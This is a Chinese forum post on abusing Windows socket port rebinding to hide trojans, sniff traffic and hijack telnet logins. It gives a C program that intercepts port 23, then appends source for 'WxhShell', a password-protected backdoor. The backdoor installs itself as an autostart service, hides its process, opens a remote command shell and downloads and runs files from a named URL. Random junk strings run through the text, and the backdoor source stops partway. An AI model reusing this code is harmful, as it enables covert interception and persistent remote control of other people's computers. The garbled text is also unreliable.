社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11078阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u%|zc=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !.-tW7   
&'|B =7  
  saddr.sin_family = AF_INET; i;\s.wrzH  
I"L;L?\S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &Y|Xd4:  
HgBJf~q~U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Dkw%`(Oh/,  
1N`vCt]w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /k\01hc`  
!&kL9A).  
  这意味着什么?意味着可以进行如下的攻击: %:6?Y%`*[  
7D"%%|: h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `%K`gYhG1  
)9"oL!2h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) suJ_nb  
U0B2WmT~Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `hh9"Ws%  
$FM' 3%B[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e&Y0}oY  
BW[5o3 i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OTvROJP  
%(m ])  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u/^|XOy  
jrJR1npB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kka"C]!  
4z4v\IpB  
  #include ^%bBW6eZ  
  #include % n$^-Vc&  
  #include HB& &  
  #include    </oY4$l'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =WZ%H_oxi  
  int main() `_AM` >_  
  { :Z`4j  
  WORD wVersionRequested; B+VuUt{S  
  DWORD ret; CDg AGy  
  WSADATA wsaData; 2=*=^)FNI  
  BOOL val; v#w_eqg  
  SOCKADDR_IN saddr; 9Ld9N;rWm#  
  SOCKADDR_IN scaddr; J%v5d*$.  
  int err; ;_JH:}j  
  SOCKET s; D5]{2z}k  
  SOCKET sc; d+2daKi  
  int caddsize; x !{   
  HANDLE mt; is#8R:7.:  
  DWORD tid;   ?X_V#8JK  
  wVersionRequested = MAKEWORD( 2, 2 ); 8[5|_Eh+  
  err = WSAStartup( wVersionRequested, &wsaData ); mBl7{w;Iv  
  if ( err != 0 ) { Bku' H  
  printf("error!WSAStartup failed!\n"); Vu]h4S:  
  return -1; 3B9nP._  
  } >9(i)e  
  saddr.sin_family = AF_INET; ?b$3ob"  
   A3UQJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #}o<v|;  
T0 |H9>M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g()m/KS<  
  saddr.sin_port = htons(23); I6dm@{/:>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }p'8w\C$  
  { gg]~2f  
  printf("error!socket failed!\n"); TbNGgjT  
  return -1; jxY-u+B  
  } 1r4,XSk  
  val = TRUE; sbla`6Fb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B=zMYi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S<oQ}+4[~  
  { :R+],m il  
  printf("error!setsockopt failed!\n"); < 5ZJ]W  
  return -1; -9G]x{>  
  } 5u,sx664  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lO 2k<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 { /<4'B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _T~H[&Hl  
=lrN'$z?%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8XbR  
  { X <xqT  
  ret=GetLastError(); 878tI3-  
  printf("error!bind failed!\n"); h)o]TV  
  return -1; u2lmwE  
  } *Q/E~4AW|t  
  listen(s,2); .BL:h&h|y  
  while(1) raQYn?[  
  { w-: D  
  caddsize = sizeof(scaddr); . bG{T|  
  //接受连接请求 %FS;>;i?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l<RfRqjw  
  if(sc!=INVALID_SOCKET) \Da~p9 T&  
  { SJ(9rhB5*.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {HuLuP 0t  
  if(mt==NULL) @,vv\M0)p  
  { OK\]*r  
  printf("Thread Creat Failed!\n"); M(S{1|,V  
  break;  y h-9u  
  } >4'21,q  
  } VRhRwdC  
  CloseHandle(mt); A_Gp&acs$  
  } =g2\CIlVU6  
  closesocket(s); )dg UmN  
  WSACleanup(); 0*{p Oe/u  
  return 0; Kq6qXc\x  
  }   WguV{#=H  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6DZ2pT:  
  { a}D&$yz2  
  SOCKET ss = (SOCKET)lpParam; X,53c$  
  SOCKET sc; t^$Div_%G  
  unsigned char buf[4096]; Ph\F'xROe  
  SOCKADDR_IN saddr; DZAH"sb  
  long num; \[E-:  
  DWORD val; +-k`x0v  
  DWORD ret; ST4(|K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]}_,U!`8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gD40y\9r  
  saddr.sin_family = AF_INET; PDZ)*$EE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <Am^z~[  
  saddr.sin_port = htons(23); \]GGVI ;u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bgXc_>T6_y  
  { 2^ kn5  
  printf("error!socket failed!\n"); s.e y!ew  
  return -1; ^ N_`^m  
  } [r~~=b7*[  
  val = 100;  RA~_]Hk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F~P/*FFK  
  { c$.T<r)Z  
  ret = GetLastError(); P#9-bYNU  
  return -1; JgZdS-~  
  } "U{mMd!9L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +{bh  
  { gU*I;s>  
  ret = GetLastError(); >hesxC!  
  return -1; CY\mU_.b  
  } y7 <(,uT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /^WE@r[:  
  { )xbqQW7%0+  
  printf("error!socket connect failed!\n"); 7dx4~dF  
  closesocket(sc); 6P6Jx;  
  closesocket(ss); ^:$j:w?j  
  return -1; ~M(pCSJ[  
  } a\|X^%2g  
  while(1) B)(w%\M4^  
  { "URVX1#(r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yO%VzjJhg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n/:Z{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :'TX"E!  
  num = recv(ss,buf,4096,0); @~Rk^/0  
  if(num>0) ?##y`.+O  
  send(sc,buf,num,0); -kt1t@O  
  else if(num==0) _2xuzmz0  
  break; @u7%B}q7:  
  num = recv(sc,buf,4096,0); vV2o[\o^  
  if(num>0) %hrsE5k^,  
  send(ss,buf,num,0); RH1U_gp4 ]  
  else if(num==0) |c BHBd  
  break; Zj5NWzj X  
  } pzYG?9cwz  
  closesocket(ss); !vi4* @:  
  closesocket(sc); M|aQ)ivh3  
  return 0 ; J\9jsx!WQ  
  } `_6@3-%  
a:wJ/ p  
+2f> M4q  
========================================================== l %]<-  
g8B&u u #  
下边附上一个代码,,WXhSHELL i$2MjFC-  
HM;4=%  
========================================================== ` C/fF_YA  
Gu<W:n[  
#include "stdafx.h" i,^>uf  
LjX&' ,  
#include <stdio.h> *YMXiYJR  
#include <string.h> YlxUx  
#include <windows.h> VN1# 8{  
#include <winsock2.h> LH1BZ(5g  
#include <winsvc.h> +X{cN5Y K  
#include <urlmon.h> UX+?0K  
F12S(5Z0%  
#pragma comment (lib, "Ws2_32.lib") 6i55Ja  
#pragma comment (lib, "urlmon.lib") 4h[2C6 \+`  
9Vh_XBgP  
#define MAX_USER   100 // 最大客户端连接数 ~ly`u  
#define BUF_SOCK   200 // sock buffer $=X!nQ& Z|  
#define KEY_BUFF   255 // 输入 buffer @faF`8LwA  
=/)Mc@Hb  
#define REBOOT     0   // 重启 *(>F'>F1"  
#define SHUTDOWN   1   // 关机 i@sCMCu6  
Z{j!s6Y@{  
#define DEF_PORT   5000 // 监听端口 Iht mD@H}  
4"`=huQ  
#define REG_LEN     16   // 注册表键长度 &n,xGIG  
#define SVC_LEN     80   // NT服务名长度 ' h0\4eu  
/6?tgr  
// 从dll定义API eU<]h>2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vu^Q4Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2*b# +b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !^rITiy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gt(X!iN]  
Ss*Lg K_  
// wxhshell配置信息 R A-^!4tX  
struct WSCFG { 3g4vpKg6c  
  int ws_port;         // 监听端口 *=r@vQ  
  char ws_passstr[REG_LEN]; // 口令 d{(s-  
  int ws_autoins;       // 安装标记, 1=yes 0=no -sruxF  
  char ws_regname[REG_LEN]; // 注册表键名 ^*j[&:d  
  char ws_svcname[REG_LEN]; // 服务名 j58Dki->.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]a &x'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g0[<9.ke  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pb$ An<P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lUy*549,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x|P<F2L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |sDG>Zq?  
T= iZ9w  
}; w%!k?t,*]  
.je~qo )  
// default Wxhshell configuration 5+#?7J1  
struct WSCFG wscfg={DEF_PORT, 10a=YG  
    "xuhuanlingzhe", =2GP^vh  
    1, T% jjs  
    "Wxhshell", e%5'(V-y,  
    "Wxhshell", }-k_?2"A  
            "WxhShell Service", 98<bF{#0WM  
    "Wrsky Windows CmdShell Service", h[M6.  
    "Please Input Your Password: ", AOq9v~)z-  
  1, 3:z4M9f  
  "http://www.wrsky.com/wxhshell.exe", U[H+87zg  
  "Wxhshell.exe" ~50y-  
    }; BdRE*9.0  
FN8=YUYK%  
// 消息定义模块 o>QFd x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DT1i2!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gff[c%I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hA&j?{  
char *msg_ws_ext="\n\rExit."; UGezo3}  
char *msg_ws_end="\n\rQuit."; H_xQ>~b  
char *msg_ws_boot="\n\rReboot..."; ~ Iu21Q(*  
char *msg_ws_poff="\n\rShutdown..."; E: LQ!  
char *msg_ws_down="\n\rSave to "; 9|?(GG  
;Fwm1ezx0  
char *msg_ws_err="\n\rErr!"; nATfmUN L  
char *msg_ws_ok="\n\rOK!"; \I`=JKYT  
LmT[N@>"  
char ExeFile[MAX_PATH]; 8{U]ATx'(  
int nUser = 0; 6O[wVaC1u  
HANDLE handles[MAX_USER]; ;^*+:e  
int OsIsNt; , L AJ  
MSrY*)n!>O  
SERVICE_STATUS       serviceStatus; d"e%tsj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0'`8HP  
,EGD8$RA]  
// 函数声明 CzDR%vx  
int Install(void); :w&)XI34  
int Uninstall(void); `mHOgS>|  
int DownloadFile(char *sURL, SOCKET wsh); 3Wtv+L7Br  
int Boot(int flag); Jr*S2 z<*  
void HideProc(void); }i/2XmA )  
int GetOsVer(void); E]U3O>hf  
int Wxhshell(SOCKET wsl); Gh>fp  
void TalkWithClient(void *cs); Qi'WV9ke  
int CmdShell(SOCKET sock); 6pdl,5[x-  
int StartFromService(void); (^s&#_w03  
int StartWxhshell(LPSTR lpCmdLine); )su <Ji*  
TF iM[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K {1ZaEH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?U9d3] W  
Dy!bj  
// 数据结构和表定义 q MT.7n:  
SERVICE_TABLE_ENTRY DispatchTable[] = F~rY jAFTi  
{ EX_sJc  
{wscfg.ws_svcname, NTServiceMain}, 1j) !d$8  
{NULL, NULL} qer'V  
}; cTIwA:)D  
n4_:#L?  
// 自我安装 EwBN+v;)  
int Install(void) SAo \H  
{ LkZo/K~  
  char svExeFile[MAX_PATH]; O[(HE 8E  
  HKEY key; ,5+X%~'  
  strcpy(svExeFile,ExeFile); i7!mMO8]  
u$@I/q,ou  
// 如果是win9x系统,修改注册表设为自启动 w5/  X {  
if(!OsIsNt) { 9xS`@ "`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SUi1*S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (>5VS  
  RegCloseKey(key); byj mH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lXk-86[M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y l3[~S  
  RegCloseKey(key); [W|7r n,q  
  return 0; 0N[DV]  
    } [ *a>{sO[  
  } >@89k^#Vc  
} x^#{2}4u  
else { <UHWy&+z&  
KA{DN!  
// 如果是NT以上系统,安装为系统服务 714nUA872  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h|uP=0   
if (schSCManager!=0) M|kDys  
{ KXbYv62  
  SC_HANDLE schService = CreateService 86 /i~s  
  ( &EJ,k'7$  
  schSCManager, #2'&=?J1r  
  wscfg.ws_svcname, =ZIFS  
  wscfg.ws_svcdisp, j.v _  
  SERVICE_ALL_ACCESS, jqsktJw#i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [)6E) E`_e  
  SERVICE_AUTO_START, 2u H\8A+'f  
  SERVICE_ERROR_NORMAL, 8jGoU 9  
  svExeFile, 5$Q`P',*Ua  
  NULL, RIqxM  
  NULL, x]+KO)I  
  NULL, Wq&c,H  
  NULL, ]Tw6Fg1o>  
  NULL b/}0 &VXo  
  );  %!h+  
  if (schService!=0) @!NHeH=pR  
  { Z4 zMa&  
  CloseServiceHandle(schService); 6}lEeMRW  
  CloseServiceHandle(schSCManager); OiEaVPSI;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rL/7wa  
  strcat(svExeFile,wscfg.ws_svcname); oOSyOD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *G|]5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D)cwttH  
  RegCloseKey(key); < io8 b|A  
  return 0; x&b-Na3Xi  
    } "A`'~]/hE  
  } |i}g7  
  CloseServiceHandle(schSCManager); V)jhyCL  
} rX}==`#\  
} ]-L E'Px|  
.u3W]5M|  
return 1; *0ntx$M-w  
} HD|)D5wH|  
BQf+1 Ly&  
// 自我卸载 w.- i !Ls  
int Uninstall(void) h!%`odl%  
{ T=Q{K|JE  
  HKEY key; [+7X&B  
cSDCNc*%  
if(!OsIsNt) { L KR,CPz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FEswNB(]*  
  RegDeleteValue(key,wscfg.ws_regname); ee` =B  
  RegCloseKey(key); >G7U7R}R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YWF<2l.  
  RegDeleteValue(key,wscfg.ws_regname); bvTkS EN  
  RegCloseKey(key); M)Q+_c2*  
  return 0; # TF  
  } YHAg4 eb8  
} -e\56%\~_  
}  ?C\9lLX  
else { G dY^}TJrh  
t4uxon  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &>t1A5  
if (schSCManager!=0) ~h+3WuOv  
{ n8,/olqwW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &p/k VM  
  if (schService!=0) .1}(Bywm5  
  { JpiKZG@L  
  if(DeleteService(schService)!=0) { 3W0:0I  
  CloseServiceHandle(schService); =Ybu_>  
  CloseServiceHandle(schSCManager); 3|3lUU\I  
  return 0; =p$Wo  
  } <{uIB;P  
  CloseServiceHandle(schService); mj~CCokF{?  
  } !I&Sy]G  
  CloseServiceHandle(schSCManager); z0Hh8*  
} P*]g*&*Y +  
} p(%x&*)f  
Pp!W$C:  
return 1; [*v\X %+  
} )cXc"aj@s  
XwMC/]lK<  
// 从指定url下载文件 Kfl+8UR5=  
int DownloadFile(char *sURL, SOCKET wsh) ktRdf6:~  
{ Mk;j"ZD F  
  HRESULT hr; 9 |Y?#oZ1  
char seps[]= "/"; A:Z:&(NtE:  
char *token; zFIKB9NUn  
char *file; m\=u/Zip  
char myURL[MAX_PATH]; [U0c   
char myFILE[MAX_PATH]; V>Cf 8>m  
2rM i~8 T  
strcpy(myURL,sURL); jL<.?HE  
  token=strtok(myURL,seps); % e(,PL  
  while(token!=NULL) 6G],t)<A'-  
  { G <q@K-  
    file=token; \ZB;K~BV&  
  token=strtok(NULL,seps); 8:bNFgJD  
  } /^"TMm   
cae}dHG2  
GetCurrentDirectory(MAX_PATH,myFILE); qMkP/BjV  
strcat(myFILE, "\\"); Pcc%VQN  
strcat(myFILE, file); 4=Zlsp  
  send(wsh,myFILE,strlen(myFILE),0); zoU.\]#C  
send(wsh,"...",3,0); K^ lVng  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N>_7Ltw/  
  if(hr==S_OK) ?W(f%/B#  
return 0; ~A)$="  
else dGg+[?  
return 1; JcP'+@X"  
5V0=-K  
} ='FEC-f95  
@tA.^k0`  
// 系统电源模块 Jc+U$h4  
int Boot(int flag) ntT| G0E  
{ 19EU[eb  
  HANDLE hToken;  <KpQu%2(  
  TOKEN_PRIVILEGES tkp; )UeG2dXx7  
4}CRM# W2  
  if(OsIsNt) { DEBgb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !l~hO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I6\3wU~).  
    tkp.PrivilegeCount = 1; K;95M^C\O*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gDv]n^&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jy?^an}#h  
if(flag==REBOOT) { G~PP1sf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /H)g<YA  
  return 0; r{btBv  
} p4[W@JV  
else { OjHBzrK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ps]6,@uyB  
  return 0; \@xnC$dd/  
} .q=X58tHu  
  } _YY)-H  
  else { _FV.}%W<u  
if(flag==REBOOT) { 5*CwQJC<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IkvH8E  
  return 0; ?z6C8T~+  
} &$=F $  
else { jC oZm(bi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FR <wp  
  return 0; S$#Awen"@  
} n5b N/  
} #G,e]{gs  
MLDuo|?  
return 1; M_e! s}F  
} kO4C^pl"v  
oH;Y}h  
// win9x进程隐藏模块 ?1d_E meG2  
void HideProc(void) u,C-U!A  
{ dU\fC{1Z  
suVS!} C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e'ZgF~  
  if ( hKernel != NULL ) a-W&/  
  { #y?z2 !  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j}|6k6t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R 'F|z{8  
    FreeLibrary(hKernel); !>+ 0/   
  } ka5>9E  
hk=+t&Y<H  
return; |`|b&Rhu  
} C?|gf?1p  
e#AB0-f  
// 获取操作系统版本  [W;14BD7  
int GetOsVer(void) 8'YL!moG|  
{ B!<I[fvK  
  OSVERSIONINFO winfo; K@fxCj*}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *)w 8fq  
  GetVersionEx(&winfo); &8(2U-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JvG t=v  
  return 1; *8Lym,]  
  else ]/a?:24[  
  return 0; l"- D@]"  
} sC#Ixq'ls7  
:\>UZ9h #  
// 客户端句柄模块 J@$>d  
int Wxhshell(SOCKET wsl) | zAey\  
{ mF_/Rhu  
  SOCKET wsh; 55AG>j&41  
  struct sockaddr_in client; 3"B|w^6'2  
  DWORD myID; ( R0   
$Fo ,$  
  while(nUser<MAX_USER) > 1r>cZn  
{ rg $71Ir  
  int nSize=sizeof(client); qaUHcdH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YRwS{ e*u  
  if(wsh==INVALID_SOCKET) return 1; u_uC78`p  
hP|5q&wX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?GFVV->i  
if(handles[nUser]==0) ]M2>%Dvw  
  closesocket(wsh); ~r{Nc j  
else lr|-_snx2  
  nUser++; { u;ntDr  
  } CfVz'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0/%zXp&m  
0!^{V:DtQ  
  return 0; 2Gj&7A3b  
} ^EB}e15"  
8>w/Es5  
// 关闭 socket Q8P;AN_JS  
void CloseIt(SOCKET wsh) C|>#|5XaF  
{ HO wJ 2L  
closesocket(wsh);  :&Ul  
nUser--; UH)A n:9  
ExitThread(0); t!K|3>w  
} M F& +4$q  
L 5>>gG ,  
// 客户端请求句柄 KLoHjBq  
void TalkWithClient(void *cs) 1sgoT f%  
{ }e82e  
Sd{>(YWx~  
  SOCKET wsh=(SOCKET)cs; ljNd!RaB  
  char pwd[SVC_LEN]; K%Rx5 S  
  char cmd[KEY_BUFF]; 'vh:(-  
char chr[1]; )2R:P`U  
int i,j; 44n^21k  
haY.rH]z  
  while (nUser < MAX_USER) { +pDuRr  
DTJ~.  
if(wscfg.ws_passstr) { $ccI(J`zux  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xOS4J+'s@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "F0,S~tZZ  
  //ZeroMemory(pwd,KEY_BUFF); W/+|dN{O+g  
      i=0; jtd{=[STU  
  while(i<SVC_LEN) { N<?RN;M  
%]NbTTL  
  // 设置超时 ~(Fy GB}  
  fd_set FdRead; mvYr"6f8  
  struct timeval TimeOut; T8ZsuKio]  
  FD_ZERO(&FdRead); =_TCtH  
  FD_SET(wsh,&FdRead); Bm^vKzp  
  TimeOut.tv_sec=8; d]+g3oy `  
  TimeOut.tv_usec=0; UP#]n 69y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dGZVWEaPfx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); * \f(E#wa  
GT* \gZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ UQzCqV  
  pwd=chr[0]; /SZsXaC '  
  if(chr[0]==0xd || chr[0]==0xa) { Ib]{rmaP  
  pwd=0; hYF<Wn3L  
  break; fNQ.FAK":  
  } 1 aIJ0#nE  
  i++; 17J|g.]m-&  
    } \u:xDS(  
nIXq2TzJ  
  // 如果是非法用户,关闭 socket _G[5S-0 [  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (%\N-[yZ  
} WCU[]A  
YS/{q~$t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4km=KOx[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L;>tuJY1  
"o% N`Xlx  
while(1) { 389T6sP]  
\O`B@!da~  
  ZeroMemory(cmd,KEY_BUFF); X,^J3Ek>O  
G+=&\+{#4  
      // 自动支持客户端 telnet标准   7*uG9iX  
  j=0; }hEBX:-  
  while(j<KEY_BUFF) { Q:lSKf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5"k _Ms7R,  
  cmd[j]=chr[0]; J7_'@zU  
  if(chr[0]==0xa || chr[0]==0xd) { `dMl5b  
  cmd[j]=0; X 1^f0\k  
  break; -7hU1j~I  
  } % ;09J  
  j++; ct fKxGH  
    } &KX|gB'  
*ofK|r  
  // 下载文件 C KBLM2 D  
  if(strstr(cmd,"http://")) { ':kBHCR7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |l `X]dsfQ  
  if(DownloadFile(cmd,wsh)) XLI'f$w&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }mk9-7  
  else A<QYW,:|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l&^9<th  
  } CSR 6  
  else { )d_)CuUBe  
0q>f x  
    switch(cmd[0]) { "-90:"W  
  ?7Y X @x  
  // 帮助 O"nY4  
  case '?': { 's(0>i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $BwWhR  
    break; HkGzyDt  
  } 3JWHyo  
  // 安装 Gq$9he<  
  case 'i': { 0`3ey*  
    if(Install()) !f V.#9AB#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =3}@\f#  
    else {y)s85:t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bm;{dO  
    break; XGk8Ki3w  
    } !D7 [R'RgY  
  // 卸载 e(6g|h  
  case 'r': {  Xb&r|pR  
    if(Uninstall()) ;_%61ZI?M<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /px*v<Aw1  
    else Yono8M;9*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~BaU2S@y  
    break; Cx} Yp-  
    } oy;N3  
  // 显示 wxhshell 所在路径 WIQt5=-  
  case 'p': { 69`9!heu  
    char svExeFile[MAX_PATH]; H7H'0C  
    strcpy(svExeFile,"\n\r"); Gg{@]9  
      strcat(svExeFile,ExeFile); 4;7<)&#h  
        send(wsh,svExeFile,strlen(svExeFile),0); >8#(GXnSt  
    break;  7=6p  
    } VQ$=F8ivG  
  // 重启 mdoy1a  
  case 'b': { D-8%lGS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0 jVuF l  
    if(Boot(REBOOT)) ~i=/@;wRp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q{0-pHr}  
    else { ZL+{?1&-  
    closesocket(wsh); Wu2#r\  
    ExitThread(0); T=A7f6`  
    } LrsP4G  
    break; 7?]gUrE  
    } jcYI"f"~  
